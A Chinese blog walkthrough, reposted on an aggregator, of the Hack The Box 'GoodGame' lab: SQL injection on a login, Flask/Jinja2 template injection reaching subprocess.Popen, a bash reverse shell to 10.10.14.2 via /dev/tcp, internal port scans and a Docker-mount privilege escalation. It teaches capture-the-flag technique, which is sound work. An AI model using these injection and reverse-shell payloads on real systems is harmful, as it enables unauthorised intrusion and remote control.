IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> Python知识库 -> HTB-GoodGame -> 正文阅读

[Python知识库]HTB-GoodGame

在这里插入图片描述

信息收集

nmap只扫描到一个开启的端口。
在这里插入图片描述
dirbuster也没发现有价值的页面。

在这里插入图片描述
我创建了一个账户test@test.com:test并开始测试登录功能是否存在sql注入。

在这里插入图片描述

有两个想法,一是结合admin和网站名组合试试;二是用sqlmap。
一,尝试 admin@goodgame.com
在这里插入图片描述

把cookie弄出来就行了。

在这里插入图片描述

二,使用sqlmap。
在这里插入图片描述sqlmap比较慢。

在这里插入图片描述
借助工具的帮助下可以得知密码是superadministrator
在这里插入图片描述

并且在admin下多了个设置按钮。
在这里插入图片描述
并且指向一个链接,添加到hosts后又是个登录界面。

在这里插入图片描述
尝试发现存在密码复用,admin:superadministrator。通过注释能够知道这是个什么东西。
在这里插入图片描述

在这里插入图片描述
在探索的时候发现一个上传文件,但是可以看到
在这里插入图片描述
似乎这个网站并没有利用价值,但是这个域名倒是挺让人注意,仿佛暗示有一个域名没找出来。FUZZ-administration.goodgames.htb

在这里插入图片描述
很明显我上当了。开始搜集网站有关的更多信息,并且发现了python,加上flask模板。
在这里插入图片描述
又是一个暗示SSTI,希望不是挖的坑,开始搜寻哪里可以利用。
就一个搜索框和个人信息设置能够真正意义上的使用。
在这里插入图片描述
但是搜索框仿佛也是摆设,也就只有个人信息里的全名字段可能是利用点。

继续判断,输入{{7*'7'}}出现了7个7也就意味着可能是jinja2twig

在这里插入图片描述
哦等等,很有可能是Flask
在这里插入图片描述

在这里插入图片描述
随便搜索能找到一篇flask的SSTI文章。
首先找到找到subprocess.Popen类{{''.__class__.__mro__[1].__subclasses__()}},将其结果复制到记事本开始查找。
在这里插入图片描述
每一个左尖括号<是一个类的开始,要准确找到subprocess.Popen类,使用切片。先大致猜个数200。
在这里插入图片描述
还差十来个样子,选个210,看到第8个类是subprocess.Popen,因为是切片,所以[7:]就是第8个类subprocess.Popen。
在这里插入图片描述也就是217是subprocess.Popen类的准确位置。

在这里插入图片描述
接着构造利用语句,{{''.__class__.__mro__[1].__subclasses__()[217]('id',shell=True,stdout=-1).communicate()}}。很幸运是root。
在这里插入图片描述

开机

使用弹反shell。

{{''.__class__.__mro__[1].__subclasses__()[217]('bash -c "bash -i >& /dev/tcp/10.10.14.2/2345 0>&1"',shell=True,stdout=-1).communicate()}}

在这里插入图片描述

root的flag在哪里呢。不对,突然意识到不会这么简单。

在这里插入图片描述

并且发现了个IP172.19.0.2,估计和docker有关。
在这里插入图片描述
本地也没有看到相关的端口,所以想对172.19.0.2进行一次端口扫描,写一个简单的端口扫描脚本。怎么写呢?

在这里插入图片描述
在搜索的时候发现一个脚本使用/dev/tcp
在这里插入图片描述

并且知道怎么使用它,做个简单的实验。
在这里插入图片描述

for port in {1..65535};do (echo >/dev/tcp/172.19.0.2/$port) >/dev/null 2>&1 && echo $port;done

但是每次扫描结果都有所差距,这是为什么。
在这里插入图片描述
是不是因为超时问题?通过搜索知道timout

for port in {1..65535};do ( timeout 100 echo >/dev/tcp/172.19.0.2/$port) >/dev/null 2>&1 && echo $port;done

我不明白,还是扫描不到其他端口,这是为什么。是不是还有其他同ip段的网络主机?

for ip in {1..254};do ping -c 1 172.19.0.$ip >/dev/null 2>&1 &&echo "172.19.0."$ip "is open";done

在这里插入图片描述发现了新的IP,再次对它进行端口扫描。

for port in {1..65535};do ( timeout 1 echo >/dev/tcp/172.19.0.1/$port) >/dev/null 2>&1 && echo $port;done

在这里插入图片描述一个80和和一个22,先尝试22(ssh)端口。
在这里插入图片描述
搜索得知此问题会出现在脚本调用ssh,所以用python升级tty。在这里插入图片描述

提权

想了许久,发现这个172.19.0.1和目标主机有同样的用户文件。会不会是使用docker挂载到172.19.0.1里面去的或者是172主机挂在目标主机(10.10.11.130)。再看到目标主机是root,所以推测要将bash从172主机挂载到目标主机上,再利用目标主机root权限修改后挂载回去。

在这里插入图片描述
1.
在这里插入图片描述
2.
在这里插入图片描述

在这里插入图片描述
通过以上三步,172主机的bash已经能够利用了。然后怎么利用呢,去看了看man bash,并且找到了一个有趣的东西。
在这里插入图片描述有点难理解,简单来说就是你以用户augutus组去使用root用户组的bash,且不加上-p选项,就会出现augutus无法继承root的用户组来使用bash,而以augutus自身来使用bash。

在这里插入图片描述所以也就是说当前用户和实际用户不一致的情况下开启以-p参数开启shell,会附加实际用户组来开启shell。

  Python知识库 最新文章
Python中String模块
【Python】 14-CVS文件操作
python的panda库读写文件
使用Nordic的nrf52840实现蓝牙DFU过程
【Python学习记录】numpy数组用法整理
Python学习笔记
python字符串和列表
python如何从txt文件中解析出有效的数据
Python编程从入门到实践自学/3.1-3.2
python变量
上一篇文章      下一篇文章      查看所有文章
加:2022-10-22 21:11:19  更:2022-10-22 21:15:22 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/18 23:48:57-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码